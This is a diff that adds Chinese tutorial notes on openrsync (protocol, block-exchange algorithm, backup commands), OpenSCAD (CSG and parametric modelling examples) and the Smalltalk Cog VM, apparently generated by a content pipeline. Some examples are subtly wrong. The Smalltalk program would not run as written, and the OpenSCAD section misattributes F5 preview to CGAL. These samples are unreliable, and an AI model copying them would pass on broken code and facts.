+| `openrsync local/ host:dest/` | Sender，推数据 | Receiver |
+| `openrsync host:src/ local/` | Receiver，拉数据 | Sender |
+
+规则：**源和目标不能同时是 remote**——不能 `hostA:foo hostB:bar` 直连双远端（GPL rsync 也这样限制）。
+
+### 2. 会话拓扑：Client / Server 进程
+
+你敲的那条 `openrsync` 是 **client**。若路径里带 `host:`，client 会通过 **SSH**（默认 `-e ssh`）在远端拉起 **server**：
+
+```text
+openrsync -rt ./src/ user@host:backup/
+        │
+        ├─ client（本机）：读本地 src，当 sender
+        └─ ssh 远端执行：openrsync --server --sender . backup/
+                              └─ server（远端）：当 receiver
+```
+
+若走 **rsync 守护进程**，URL 形如 `rsync://host/module/path` 或 `host::module/path`，握手阶段走 **rsyncd(5)** 文本协议，再进入 **rsync(5)** 二进制协议。
+
+### 3. 文件列表与块交换（Block exchange）
+
+算法主干（Andrew Tridgell & Paul Mackerras 的 rsync 论文）：
+
+1. **Sender 生成文件列表**（路径、模式、mtime 等元数据），双方按路径字典序排序，之后可用下标指代文件。
+2. **Receiver 遍历列表**，对每个文件决定要不要更新：
+   - **符号链接 / 目录**：多半靠元数据直接建好，不向 sender 要块。
+   - **普通文件**：若大小 + mtime 已一致（除非 `-I` 忽略时间），跳过。
+3. 需要更新时，Receiver 把文件切成固定大小的 **block**（块大小 ≈ `ceil(sqrt(filesize))`，最小 700 字节，再向上取 8 的倍数），对每块算 **快哈希（Adler-32 型，4 字节）** 和 **慢哈希（MD4，16 字节）**，发给 Sender。
+4. Sender 在源文件上滑动窗口匹配这些哈希；匹配到的块只发「块编号」，匹配不到的间隙发**原始字节流**。
+5. Receiver 按指令拼出目标文件，最后双方做 **整文件 MD4** 校验。
+
+这就是「只传 diff」的魔法：**广域网上传的是块索引 + 少量新字节**，不是整文件重传。
+
+### 4. Openrsync 相对 GPL rsync 的架构差异
+
+| 维度 | GPL rsync | Openrsync |
+|------|-----------|-----------|
+| Receiver 内部 | receiver + **独立 generator 子进程**（`fork`） | **单进程 + 事件循环** |
+| 并发模型 | 多进程管道 | uploader / downloader 协程式状态机 |
+| 安全 | 依赖部署习惯 | **pledge** 限制 syscall，**unveil** 限制可见目录树 |
+| 协议文档 | 社区 wiki / 源码 | 自带 **rsync(5)**、**rsyncd(5)** man 页 |
+
+Receiver 同时要 **上传块哈希** 和 **接收写入数据**，Openrsync 在 `uploader.c` / `downloader.c` 里用事件循环交错处理，避免 GPL 版那种「一个进程专门生成请求、另一个专门写盘」的 fork 模型。
+
+### 5. 协议与数据格式要点
+
+- 二进制帧：**小端序**。
+- 多路复用：传输包外再套一层 **multiplexing envelope**（见 `rsync(5)`）。
+- 校验和类型：**long（慢）**、**short（快）**、**whole-file** 三种。
+- 服务端模式用 `arc4random` 播种 MD4，而不是 `time()`，降低可预测性。
+
+## 实践案例
+
+### 案例 1：日常备份（archive 语义）
+
+`-a` 等价于 `-Dgloprt`：递归、符号链接、权限、时间戳等一起带上，适合镜像一台开发机的主目录子树：
+
+```bash
+#  dry-run 先看会传什么
+openrsync -anv ~/Projects/ user@backup.internal:archive/Projects/
+
+# 确认无误后正式同步
+openrsync -av --delete ~/Projects/ user@backup.internal:archive/Projects/
+```
+
+**逐 flag 解释**：
+
+- `-a` / `--archive`：常用「整包归档」 shorthand
+- `-n`：不写字节，只打印计划（和 GPL rsync 一样）
+- `-v`：verbosity；多叠几次能看到每个文件的块级细节
+- `--delete`：目标有、源没有的条目删掉——**镜像语义**，用前务必想清楚
+
+### 案例 2：与上游 rsync 互通（显式指定远端程序）
+
+远端默认 PATH 里若是 `rsync` 而不是 `openrsync`，本机 Openrsync 可以强制远端也跑 Openrsync：
+
+```bash
+openrsync -rt --rsync-path=openrsync ./build/ user@host:/var/www/release/
+```
+
+反过来的场景——本机只有 Openrsync，对端是经典 rsync 守护进程：
+
+```bash
+openrsync -rt --port=873 rsync://mirror.example.com/module/path/ ./local-mirror/
+```
+
+**互通铁律**：只用 **两边 man 页都列出** 的选项；Openrsync 不支持 `--compress`、`-z` 等 GPL 版大量扩展 flag。
+
+### 案例 3：rsyncd 握手在干什么（读懂协议层）
+
+连接 `rsync://host/module` 时，先走一段 **明文行协议**（`rsyncd(5)`），再切到二进制 `rsync(5)`。客户端大致发送：
+
+```text
+module_name\n
+@RSYNCD: 27\n
+--server\n
+--sender\n
+-r\n
+-t\n
+.\n
+path1\n
+path2\n
+\n
+```
+
+服务端回 `@RSYNCD: OK` 并给出 checksum seed 后，**multiplexing 开启**，后续就是块交换。Openrsync 把这套写进 man 页，对想写「自己的 rsync 客户端」的人很友好。
+
+### 案例 4：排除规则与体积门槛
+
+```bash
+openrsync -rt \
+  --exclude='*.o' \
+  --exclude='.git/' \
+  --max-size=100m \
+  ./artifact/ user@host:incoming/
+```
+
+`--exclude-from=file` 可维护复杂规则；`--min-size` / `--max-size` 支持 `scan_scaled(3)` 风格后缀（如 `10M`）。
+
+## 踩过的坑
+
+1. **选项超集幻觉**：习惯了 `rsync -avz --progress` 的人，在 Openrsync 上会直接报错或静默缺功能。**先查 `openrsync(1)`**，不要肌肉记忆 GPL 版。
+
+2. **时间戳与二次同步**：man 页示例反复强调加 `-t`：若目标 mtime 变成「同步时刻」，下次会把**同一文件**再算一遍块哈希。备份脚本里 `-t` 几乎是默认项。
+
+3. **`--delete` 方向搞反**：它是「让目标像源」，不是「让源像目标」。对 `openrsync src/ dest/` 而言，删的是 **dest 里多出来的**，不是 src。
+
+4. **双远端不支持**：`hostA:foo hostB:bar` 不行；要中转只能 `openrsync A:foo /tmp/stage && openrsync /tmp/stage B:bar`。
+
+5. **权限与 `-o` / `-g`**：保留属主要 root；Openrsync 用名称映射 UID/GID，跨系统用户名不一致时加 `--numeric-ids`。
+
+6. **安全移植到 Linux**：官方立场是 **pledge/unveil 不可随意阉割**；在非 OpenBSD 上编译能跑，但网络对端写入文件系统时，sandbox 行为取决于移植层——**公网暴露 rsyncd 要格外小心**。
+
+7. **退出码 2**：表示对端协议版本**比本机旧**，不是普通 I/O 错误。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- OpenBSD / 注重许可证纯净的 BSD 系环境做增量备份
+- 需要和 **rsync 3.1.x / 协议 27** 对端互通的常规文件同步
+- 学习 rsync 协议本身（配合 `rsync(5)` 读源码）
+- RPKI、镜像站等「可预测子集」的拉取同步
+
+**不适用**：
+
+- 依赖 GPL rsync 独有特性（压缩传输、大量 legacy 选项、`--link-dest` 硬链接农场等）的复杂流水线
+- 需要「源和目标同时在不同远程主机」的双跳直连
+- Windows 原生环境（无官方支持；WSL/SSH 另论）
+- 把 rsync 当实时双向同步引擎——它是**批量单向对齐**工具，不是 Dropbox
+
+## 历史
+
+- **2018–2019**：Kristaps Dzonsons 为 **rpki-client** 项目开发 Openrsync，资助方包括 NetNod、IIS.SE、SUNET、6connect
+- **2019 年 4 月**：随 **OpenBSD 6.5** 进入发行版，成为基座工具
+- **此后**：上游开发迁至 OpenBSD CVS；GitHub 仓库 `kristapsdz/openrsync` 保留**可移植胶水**（oconfigure），补丁发 `tech@openbsd.org`
+- **协议**：锁定 **rsync protocol 27**（与 rsync 3.1.3 测试互通）
+- **移植**：Linux（glibc/musl）、FreeBSD、NetBSD、macOS、OmniOS 等可通过 CI 构建，但**官方只背书 OpenBSD 安全路径**
+
+## 学到什么
+
+1. **协议与实现解耦**——学会 rsync 算法，不等于只会敲 `rsync` 命令；Openrsync 证明同一协议可以有更小、更可审计的实现。
+2. **安全要进架构，不是事后打补丁**——`pledge` / `unveil` 在接收网络数据写盘前就把能力收窄，比「跑在 Docker 里就算安全」更底层。
+3. **事件循环可以替代多进程**——GPL rsync 的 generator 子进程是历史设计；Openrsync 用 uploader/downloader 状态机达到同样协议行为。
+4. **许可证也是工程决策**——ISC 基座 + 一万行 C，对 BSD 生态比「GPL 工具链里塞一个 GPLv3 二进制」更干净。
+5. **子集兼容是刻意选择**——少 flag 不是偷懒，而是降低测试矩阵和攻击面；和上游互通时要**自觉降级选项**。
+
+## 关联
+
+- [[rsync]] —— GPL 参考实现，功能超集
+- [[openssh]] / SSH —— 默认传输通道（`-e ssh`）
+- [[ansible]] —— 常用 `synchronize` 模块封装 rsync；在 OpenBSD 控制节点可改用 openrsync
+- [[zfs]] —— 快照 + send/receive 是另一路增量复制；与 rsync 块算法互补
+- [[rpki-client]] —— Openrsync 的原始资助场景之一
+
+## 延伸阅读
+
+- [openrsync(1) — OpenBSD Manual](https://man.openbsd.org/openrsync.1) — 命令行与示例的权威入口
+- [rsync(5) / rsyncd(5) — OpenBSD Manual](https://man.openbsd.org/rsync.5) — 自包含的协议说明，适合实现第三方客户端
+- [kristapsdz/openrsync — GitHub](https://github.com/kristapsdz/openrsync) — 可移植构建与架构 README
+- [The rsync algorithm (tech report)](https://rsync.samba.org/tech_report/) — 块交换算法原始论文
+- Andrew Tridgell PhD thesis — *Efficient Algorithms for Sorting and Synchronization* — 更完整的理论背景
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/openscad.md b/src/content/docs/projects/openscad.md
new file mode 100644
index 000000000..cf1289065
--- /dev/null
+++ b/src/content/docs/projects/openscad.md
@@ -0,0 +1,270 @@
+---
+title: OpenSCAD — 脚本式 CAD
+来源: https://github.com/openscad/openscad
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**OpenSCAD** 是一款**免费开源**的脚本式 3D CAD 建模器，源码托管于 [openscad/openscad](https://github.com/openscad/openscad)。名字里的 **S** 代表 **Scriptable**——你用一段 `.scad` 脚本描述几何体如何生成，程序再把它**编译**成可导出的 3D 网格（STL / 3MF / AMF / OFF 等），交给切片软件或 CNC 后处理。
+
+日常类比：传统 CAD（如 Fusion 360、SolidWorks）像**在 Clay 工作室里徒手捏泥**——鼠标拖面、拉边、加约束，每一步都落在可视化的特征树上。OpenSCAD 则像**写菜谱**：先声明「一块 20×10×2 的豆腐（`cube`）」，再写「中间挖一个半径 3 的圆洞（`difference` + `cylinder`）」，最后「整盘端上桌（`render`）」。改尺寸不用回去找某条草图约束，改一行变量 `plate_w = 30` 全文联动——这就是**参数化设计**。
+
+再打个比方：如果把 [[blender]] 看作「拍电影」的综合制片厂，OpenSCAD 更像**精密机械车间里的数控机床程序**——不追求有机曲面雕刻和动画，专攻**可重复、可版本管理、可 diff 的实体零件**：支架、齿轮盒、连接器外壳、3D 打印治具。Maker 社区里大量 Thingiverse / Printables 模型附带 `.scad` 源文件，改几个参数就能适配你的打印机或螺丝规格。
+
+最小可运行脚本：
+
+```scad
+// 一个 10mm 立方体，默认落在原点附近
+cube(10);
+```
+
+保存为 `hello.scad`，按 **F5** 预览（CGAL 快速预览）或 **F6** 完整渲染（CGAL / Manifold 内核），右侧即出现实体。没有「画一条线」的交互——**代码即模型**。
+
+## 为什么重要
+
+零基础学「能打印出来的 3D」，OpenSCAD 有几个独特价值：
+
+- **程序员友好**：语法接近 C；模型是文本，可 `git diff`、Code Review、CI 里批量导出 STL
+- **参数化一等公民**：外壳厚度、孔距、螺纹规格写成变量或 `module` 参数，改一处全局生效
+- **CSG 思维清晰**：`union` / `difference` / `intersection` 组合 primitive，逻辑比「特征树回溯」直观
+- **3D 打印生态默认选项之一**：与 [[freecad]]、Fusion 并列；BOSL2、Round-Anything 等库把常见机械特征封装成模块
+- **零订阅、跨平台**：GPLv2，Windows / macOS / Linux；也可无头调用 `openscad -o part.stl part.scad`
+
+代价也要心里有数：**不适合**角色雕刻、复杂 NURBS 曲面、装配体运动仿真；曲面质量由 `$fn` 多边形逼近控制，需要你自己管网格精度。
+
+## 核心要点
+
+### 1. 构造实体几何（CSG）
+
+OpenSCAD 用 **Constructive Solid Geometry** 从简单实体「布尔运算」出复杂形状：
+
+| 运算 | 含义 | 日常类比 |
+| --- | --- | --- |
+| `union()` | 合并为一体 | 把两块乐高扣在一起 |
+| `difference()` | 第一个减去后面的 | 饼干模具压出形状 |
+| `intersection()` | 只保留重叠部分 | 两个模具叠在一起，只留交集 |
+
+**第一个子物体**在 `difference()` 里是「被挖的母体」；后面全是「钻头」。`union()` 可省略——相邻写多个 primitive 默认就是 union。
+
+### 2. 三维原语（Primitives）
+
+| 模块 | 典型参数 | 说明 |
+| --- | --- | --- |
+| `cube([x,y,z], center=)` | 边长或三轴尺寸 | `cube(10)` = 各边 10 的正方体 |
+| `sphere(r=)` / `sphere(d=)` | 半径或直径 | 球体，实际是多面体逼近 |
+| `cylinder(h=, r=, center=)` | 高、半径 | 圆柱；`h` 沿 Z |
+| `polyhedron(points, faces)` | 点表、面索引 | 低层自定义网格 |
+
+二维原语 `circle`、`square`、`polygon` 常配合 `linear_extrude()` / `rotate_extrude()` 拉成 3D。
+
+### 3. 变换（Transformations）
+
+变换是**修饰符**：作用于紧跟其后的一个模块或 `{ ... }` 块，本身不以分号结尾。
+
+```scad
+translate([10, 0, 0])   // 沿 X 平移 10
+rotate([0, 90, 0])      // 绕 Y 轴转 90°
+scale([1, 1, 2])        // Z 方向拉伸 2 倍
+```
+
+坐标系：**右手系**，X 右、Y 前（指向你）、Z 上。单位默认**毫米**（可在 Preferences 改）。
+
+### 4. 变量与不可变语义
+
+```scad
+width = 20;
+width = 30;   // 同一作用域内「后者覆盖前者」，不是命令式赋值
+echo(width);  // 输出 30
+```
+
+OpenSCAD 变量更像**数学里的常量绑定**：在单次求值（一次 F6 渲染）中，名字对应一个值。想「循环里递增」要用 `for` 或递归函数，不能 `i = i + 1`。
+
+特殊变量：`$fn`（圆周分段数）、`$fa`（最小面角）、`$fs`（最小边长）控制曲面网格密度。预览可 `$fn = 24`，导出前 `$fn = 64` 或更高。
+
+### 5. 模块（module）与函数（function）
+
+- **`function`**：算值、返回向量/数字，**不产生几何**
+- **`module`**：打包几何，可重复实例化，类似「自定义积木」
+
+```scad
+function inch(mm) = mm / 25.4;
+
+module rounded_plate(w, d, h, r) {
+    minkowski() {
+        cube([w - 2*r, d - 2*r, h - r], center = true);
+        cylinder(r = r, h = r, center = true);
+    }
+}
+```
+
+`children()` 让模块当「运算符」处理子几何——高级库常用。
+
+### 6. 控制流
+
+- `for (i = [0:5])` / `for (x = [0, 10, 20])` 阵列复制
+- `if (condition) { ... } else { ... }` 条件几何
+- 列表推导：`[for (i = [0:3]) i * 10]` → `[0, 10, 20, 30]`
+
+### 7. 2D → 3D 挤出
+
+```scad
+linear_extrude(height = 10, center = true)
+    circle(d = 20);
+
+rotate_extrude(angle = 360)
+    translate([30, 0, 0])
+        circle(r = 5);   // 甜甜圈（torus）
+```
+
+`import("profile.dxf")` 可导入外部 2D 轮廓再挤出——与 [[inkscape]] 导出的 DXF 可协作。
+
+### 8. 渲染与导出
+
+| 按键 / 命令 | 作用 |
+| --- | --- |
+| **F5** | 预览（快，可能不精确） |
+| **F6** | 完整 CGAL/Manifold 渲染 |
+| `render()` | 强制求值 CSG 树，减少预览差异 |
+| CLI | `openscad -o out.stl model.scad` |
+
+2024 年起 **Manifold** 内核显著加快布尔运算，复杂 `difference` 不再等到天荒地老。
+
+## 实践案例
+
+### 案例 1：带圆角的安装板（CSG 入门）
+
+在一块板上打四个角孔，中心沉头座——典型 3D 打印支架逻辑：
+
+```scad
+$fn = 48;
+
+plate_w = 60;
+plate_d = 40;
+plate_h = 3;
+hole_d = 3.2;       // M3 通孔略大于 3.0
+corner_r = 5;
+inset = 8;
+
+difference() {
+    // 母体：圆角矩形板（minkowski 近似圆角）
+    minkowski() {
+        cube([plate_w - 2*corner_r, plate_d - 2*corner_r, plate_h], center = true);
+        cylinder(r = corner_r, h = 0.01, center = true);
+    }
+
+    // 四角通孔
+    for (dx = [-1, 1], dy = [-1, 1]) {
+        translate([
+            dx * (plate_w/2 - inset),
+            dy * (plate_d/2 - inset),
+            0
+        ])
+            cylinder(d = hole_d, h = plate_h + 2, center = true);
+    }
+
+    // 顶面浅沉台（示意）
+    translate([0, 0, plate_h/2 - 0.5])
+        cylinder(d = 12, h = 1.1, center = true);
+}
+```
+
+**读懂这段代码**：
+
+- `difference()` 第一子节点是「板」；后面所有 `cylinder` 都从板里**减掉**
+- `for (dx = [-1, 1], dy = [-1, 1])` 双重循环 = 四个象限各打一个孔，不用复制粘贴四段
+- `h = plate_h + 2` 让钻头比板厚一点，避免「挖不透」的渲染瑕疵
+- 改 `plate_w` / `hole_d` 即可适配不同打印机或螺丝——参数化价值在这里
+
+### 案例 2：参数化齿轮盒模块（`module` + 条件）
+
+把「盒子 + 可选盒盖」封装成可复用模块：
+
+```scad
+$fn = 64;
+
+module box_with_lid(outer, inner, height, wall, lip = 2, add_lid = true) {
+    // 外盒：外形减去内腔
+    difference() {
+        cube(outer, center = true);
+        translate([0, 0, wall])
+            cube([inner[0], inner[1], height], center = true);
+    }
+
+    // 顶部凸唇（与盒盖干涉配合）
+    translate([0, 0, height/2])
+        difference() {
+            cube([outer[0], outer[1], lip], center = true);
+            translate([0, 0, lip/2])
+                cube([inner[0], inner[1], lip + 0.1], center = true);
+        }
+
+    if (add_lid) {
+        translate([0, 0, height/2 + lip + 2])
+            difference() {
+                cube([outer[0], outer[1], wall], center = true);
+                translate([0, 0, -0.05])
+                    cube([inner[0] + 0.4, inner[1] + 0.4, wall + 0.1], center = true);
+            }
+    }
+}
+
+box_with_lid(
+    outer = [50, 40, 30],
+    inner = [46, 36, 25],
+    height = 25,
+    wall = 2,
+    add_lid = true
+);
+```
+
+**要点**：
+
+- `module` 参数带默认值 `lip = 2`、`add_lid = true`，调用时可只改关心的量
+- `if (add_lid)` 根据布尔参数决定是否生成盒盖——同一脚本预览「有盖 / 无盖」
+- `inner[0] + 0.4` 留 0.2mm 单边间隙，FDM 打印常见的配合公差（需按材料微调）
+
+### 案例 3：命令行批量导出
+
+文档站或 CI 里从同一 `.scad` 出多个规格：
+
+```bash
+openscad -D 'plate_w=80' -D 'plate_d=50' -o bracket_80x50.stl bracket.scad
+openscad -D 'plate_w=100' -o bracket_100x40.stl bracket.scad
+```
+
+`-D` 在命令行覆盖变量，适合矩阵测试孔距或批量生成 SKU。
+
+## 与相近工具怎么选
+
+| 场景 | 更合适的工具 |
+| --- | --- |
+| 参数化支架、治具、盒体 | **OpenSCAD** |
+| 有机造型、雕刻、动画 | [[blender]] |
+| 全功能机械 CAD + 草图约束 | [[freecad]]、Fusion 360 |
+| 2D 激光切割路径 | [[inkscape]] → DXF → OpenSCAD `import` |
+
+OpenSCAD 常与 **BOSL2**（螺栓库、圆角、壳体）、**dotSCAD** 等库搭配；学习路径：官方 Cheat Sheet → Advent Calendar 2024 教程仓库 → 读 Thingiverse 上带 `.scad` 的模型反推。
+
+## 常见坑
+
+1. **预览与渲染不一致**：复杂 `difference` 用 F6 / `render()` 再导出
+2. **`$fn` 太低**：圆柱看起来像八边形；导出前提高 `$fn` 或设 `$fa` / `$fs`
+3. **非流形（non-manifold）**：两的面共面、零厚度边会导致 STL 切片失败——保证实体有体积，孔要穿透
+4. **变量当循环计数器**：OpenSCAD 不是 Python；用 `for` 枚举
+5. **单位混乱**：团队项目开头注释 `// units: mm`
+
+## 延伸
+
+- 官方文档与 Cheat Sheet：[openscad.org/documentation](https://openscad.org/documentation.html)
+- 用户手册（CSG、变换、模块）：[OpenSCAD User Manual](https://en.wikibooks.org/wiki/OpenSCAD_User_Manual)
+- 下游：PrusaSlicer、Cura、Bambu Studio 切片；OctoPrint 远程打印
+- 相关笔记：[[blender]]、[[freecad]]、[[inkscape]]、[[buildroot]]（嵌入式外壳常与 3D 打印件配合）
+
+---
+
+*学习路径建议：先手写「立方体 + 差集挖孔」→ 加 `for` 阵列 → 抽 `module` → 读一个开源 `.scad` 分模块改参数 → 再考虑 BOSL2。每天 30 分钟，一周可独立改打印件尺寸。*
diff --git a/src/content/docs/projects/opensmalltalk-vm.md b/src/content/docs/projects/opensmalltalk-vm.md
new file mode 100644
index 000000000..bef34abca
--- /dev/null
+++ b/src/content/docs/projects/opensmalltalk-vm.md
@@ -0,0 +1,231 @@
+---
+title: OpenSmalltalk VM (Cog) — Cog VM 的现代继承
+来源: https://github.com/OpenSmalltalk/opensmalltalk-vm
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# OpenSmalltalk VM (Cog) — Cog VM 的现代继承
+
+## 一、先打个日常比喻
+
+想象你去一家餐馆：
+
+1. **解释器模式**：每次你点一道菜（调用一个方法），厨师就现场做一道。简单，但慢。
+2. **编译模式**：厨师把菜谱提前编译成"半成品"（机器码），你点菜时直接加热。快了很多。
+3. **Cog 模式**：厨师不仅做了半成品，还记住了哪些菜你点得最多（热点方法），自动把它们的配方优化到极致——甚至把锅铲换成了机器手臂。这就是 JIT（即时编译）。
+
+Cog VM 就是这样一个"超级厨师"——它是 Smalltalk 语言的虚拟机，能把高频执行的代码从"慢慢解释"自动变成"极速编译"。
+
+## 二、从小talk 开始
+
+Smalltalk 是 1970 年代在 Xerox PARC 发明的一种**纯面向对象**编程语言。它有一个核心理念：
+
+> **一切皆对象。**
+
+数字是对象、布尔值是对象、连"类"本身也是对象。你通过"发送消息"来让对象做事，而不是像 C 语言那样调用函数。
+
+```smalltalk
+"向 42 发送 '乘以 3' 这条消息"
+(42) * 3
+"结果是 126"
+```
+
+```smalltalk
+"创建一个字符串对象，给它发送 '大写' 消息"
+'hello' upCase
+"结果是 'HELLO'"
+```
+
+这种语言太有魅力了，以至于 Java、Python、Ruby 等现代语言都深受影响。但问题来了：Smalltalk 跑在什么上面？答案就是——Cog VM。
+
+## 三、Cog VM 是什么
+
+Cog 是一个 Smalltalk 虚拟机，专门运行 Squeak 和 Cuis 这两个 Smalltalk 方言。它有几个关键特征：
+
+1. **JIT 编译器（Just-In-Time）**：当一个方法被执行多次后，Cog 会自动把它编译成真正的机器码，直接跑在 CPU 上。
+2. **混合架构**：它不是纯解释器也不是纯编译器，而是"解释器 + JIT 编译器"协同工作。
+3. **Garbage Collector（垃圾回收）**：自动管理内存，你不需要手动释放。
+4. **Spur 内存管理器**：新一代内存管理，使用"分代回收"和"隐式转发"来加速对象操作。
+
+## 四、核心概念详解
+
+### 4.1 CoInterpreter 和 Cogit：双引擎协作
+
+Cog 的核心由两个组件组成：
+
+- **CoInterpreter（协作解释器）**：负责解释执行 Smalltalk 字节码，管理对象内存和消息传递。它就像厨房的主厨，负责日常运转。
+- **Cogit（代码生成器 / JIT 编译器）**：负责把热点方法编译成机器码。它像机器手臂，只在必要时介入。
+
+两者通过 API 协作：CoInterpreter 告诉 Cogit"这个方法被调用了太多次，帮我编译它"，Cogit 编译好后，CoInterpreter 下次就直接跳到机器码执行。
+
+### 4.2 Spur 内存管理
+
+Spur 是 Cog 的新一代内存管理器，相比旧版 v3 有重大改进：
+
+| 特性 | v3 | Spur |
+|------|-----|-------|
+| 分代垃圾回收 | 否 | 是（年轻代 + 老年代） |
+| 对象转发 | 完全转发（慢） | 隐式转发（快） |
+| 对象头格式 | 32/64位不同 | 统一格式 |
+| 堆大小 | 固定 | 可伸缩（动态增长/缩小） |
+
+### 4.3 VM 的多种变体
+
+Cog 有多种组合方式，就像手机的"标准版 + Pro 版"：
+
+- **Stack VM**：纯解释器，方法调用在栈上执行，比传统解释器快，但没有 JIT。
+- **Cog VM**：Stack VM + JIT 编译器，高频代码自动编译为机器码。
+- **Sista VM**：实验性的自适应优化，支持内联和类型推测（还在开发中）。
+
+## 五、代码示例
+
+### 5.1 示例一：Smalltalk 代码（在 Squeak/Cuis 中运行）
+
+下面是一个完整的 Smalltalk 程序，展示了 Smalltalk 的基本语法。这段代码在 Cog VM 上执行时，会被 CoInterpreter 解释执行，其中 `loop` 方法因为反复被调用，会被 Cogit 自动编译为机器码。
+
+```smalltalk
+"定义一个集合，存储数字 1 到 100"
+| numbers total evenCount |
+
+numbers := (1 to: 100) asArray.
+
+"计算总和 —— 用 'inject:into:' 方法遍历"
+total := numbers
+    inject: 0
+    into: [ :sum :each | sum + each ].
+
+Transcript show: '1 到 100 的总和是: '; show: total; cr.
+
+"找出偶数的数量 —— 用 'select:' 过滤"
+evenCount := (numbers select: [ :each | each isEven ]) size.
+
+Transcript show: '偶数有: '; show: evenCount; cr.
+
+"定义一个类 —— Smalltalk 中一切皆对象"
+Object subclass: #FibonacciGenerator
+    instanceVariableNames: 'previous current'
+    classVariableNames: ''
+    package: 'Examples'.
+
+"创建实例"
+| fib |
+fib := FibonacciGenerator new.
+fib initialize.
+
+"打印前 10 个斐波那契数"
+1 to: 10 do: [ :i |
+    Transcript show: 'Fib(', i, '): '; show: fib next; cr.
+].
+```
+
+**解释**：
+- `| numbers total evenCount |`：声明局部变量（管道符号分隔）。
+- `inject:into:`：类似其他语言的 reduce/fold，累加所有数字。
+- `select:`：过滤集合，选出偶数。
+- `Object subclass:`：Smalltalk 用消息来创建子类，这是"一切皆对象"的体现。
+
+### 5.2 示例二：JIT 编译过程（Cog 内部视角）
+
+这是 Cog 虚拟机内部的简化逻辑，展示了 JIT 编译的工作流程。注意：这不是 Smalltalk 代码，而是用 C 语言描述的概念性代码（实际的 Cog 源码就是用 C 写的）：
+
+```c
+// 伪代码 - 展示 Cog JIT 的工作流程
+
+// CoInterpreter: 解释执行字节码
+void co_interpret_method(Method *method) {
+    while (hasMoreBytecodes(method)) {
+        Bytecode bc = readBytecode(method);
+
+        // 计数器：每次执行都 +1
+        method->invocationCount++;
+
+        // 热检测方法：如果调用超过阈值，触发 JIT 编译
+        if (method->invocationCount > HOT_THRESHOLD) {
+            CogMethod *compiled = cogit_compile(method);
+            if (compiled) {
+                // 下次直接跳到机器码执行！
+                execute_compiled_method(compiled);
+            }
+        }
+        // 否则继续解释执行
+        else {
+            execute_bytecode(bc);
+        }
+    }
+}
+
+// Cogit: JIT 编译器 - 把字节码翻译成机器码
+CogMethod *cogit_compile(Method *method) {
+    // 1. 分配一块可执行的内存页
+    void *codePtr = allocateExecutableMemory(PAGE_SIZE);
+
+    // 2. 逐条翻译字节码为机器码
+    for (Bytecode bc : method->bytecodes) {
+        switch (bc.opcode) {
+            case OP_PUSH_INTEGER:
+                emitMachineCode(codePtr, MOV, register_A, bc.value);
+                break;
+            case OP_ADD:
+                emitMachineCode(codePtr, ADD, register_A, register_B);
+                break;
+            case OP_SEND_MESSAGE:
+                emitMachineCode(codePtr, CALL, resolveSelector(bc.selector));
+                break;
+        }
+    }
+
+    // 3. 返回编译后的方法
+    return createCogMethod(codePtr, method);
+}
+```
+
+**解释**：
+- `HOT_THRESHOLD`：一个阈值（比如方法被执行 20 次），超过后触发编译。
+- `allocateExecutableMemory`：CPU 只能执行内存中带有"可执行权限"的数据，JIT 编译的代码需要这样的内存页。
+- 编译后的机器码会缓存在 `CogMethod` 中，下次调用直接跳转，跳过所有解释开销。
+
+## 六、VM 源码目录结构
+
+如果你 clone 了 opensmalltalk-vm 仓库，会看到这样的目录：
+
+```
+opensmalltalk-vm/
+├── src/                          # 虚拟机核心源码
+│   ├── spur32.cog/              # 32位 Cog JIT VM
+│   ├── spur64.cog/              # 64位 Cog JIT VM
+│   ├── spur32.stack/            # 32位 Stack VM（无 JIT）
+│   ├── spur32.sista/            # Sista 实验性 VM
+│   └── plugins/                 # 所有插件（文件系统、网络等）
+├── building/                     # 各平台构建目录
+│   ├── linux64x64/              # Linux 64位构建
+│   ├── macos64x64/              # macOS Intel 构建
+│   ├── macos64ARMv8/            # macOS ARM/M 系列构建
+│   └── win64x64/                # Windows 构建
+├── platforms/                    # 平台适配代码
+├── processors/                   # CPU 模拟器（用于 JIT 开发测试）
+└── image/                        # 用于开发 VM 本身的 Smalltalk 图像
+```
+
+## 七、一个有趣的特性：VM 本身用 Smalltalk 写
+
+Cog VM 最独特的一点是：**它的核心是用 Smalltalk 写的，通过一个 "Slang" 翻译器变成 C 代码。**
+
+这意味着：
+- VM 开发者用 Smalltalk 写 VM 代码，在 Smalltalk 环境中调试。
+- Slang 把 Smalltalk 代码翻译成 C。
+- C 编译器把 C 代码编译成可执行的虚拟机。
+
+这种"用语言本身开发其虚拟机"的模式，是 Smalltalk 反射能力的极致体现。
+
+## 八、总结
+
+Cog VM 是 Smalltalk 虚拟机的现代形态。它通过 JIT 编译把 Smalltalk 从"慢解释器"变成了"高性能运行时"。它的核心创新包括：
+
+- 解释器 + JIT 的协作架构
+- Spur 分代垃圾回收
+- VM 本身用 Smalltalk 开发并通过 Slang 翻译成 C
+
+理解了 Cog，你就理解了 Smalltalk 如何在 50 年后仍然保持生命力。
diff --git a/src/content/docs/projects/opentelemetry.md b/src/content/docs/projects/opentelemetry.md
index fa9856a64..861d59af8 100644
--- a/src/content/docs/projects/opentelemetry.md
+++ b/src/content/docs/projects/opentelemetry.md
@@ -2,7 +2,7 @@
 title: OpenTelemetry — 让所有应用用同一种语言吐监控数据
 来源: OpenTelemetry Specification, https://opentelemetry.io/docs/
 日期: 2026-05-31
-子分类: 基础设施
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/openthread.md b/src/content/docs/projects/openthread.md
index 30fe64cbd..0c8728f9d 100644
--- a/src/content/docs/projects/openthread.md
+++ b/src/content/docs/projects/openthread.md
@@ -189,5 +189,10 @@ Matter commissioning 二维码背后就是 Thread Joiner 流程——用户扫
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-（暂无反向链接）
+- [[chaos-mesh]] —— Chaos Mesh — K8s 原生混沌工程平台
+- [[freertos]] —— FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核
+- [[lwip]] —— lwIP — ~40KB ROM 跑完整 TCP/IP 的嵌入式网络栈
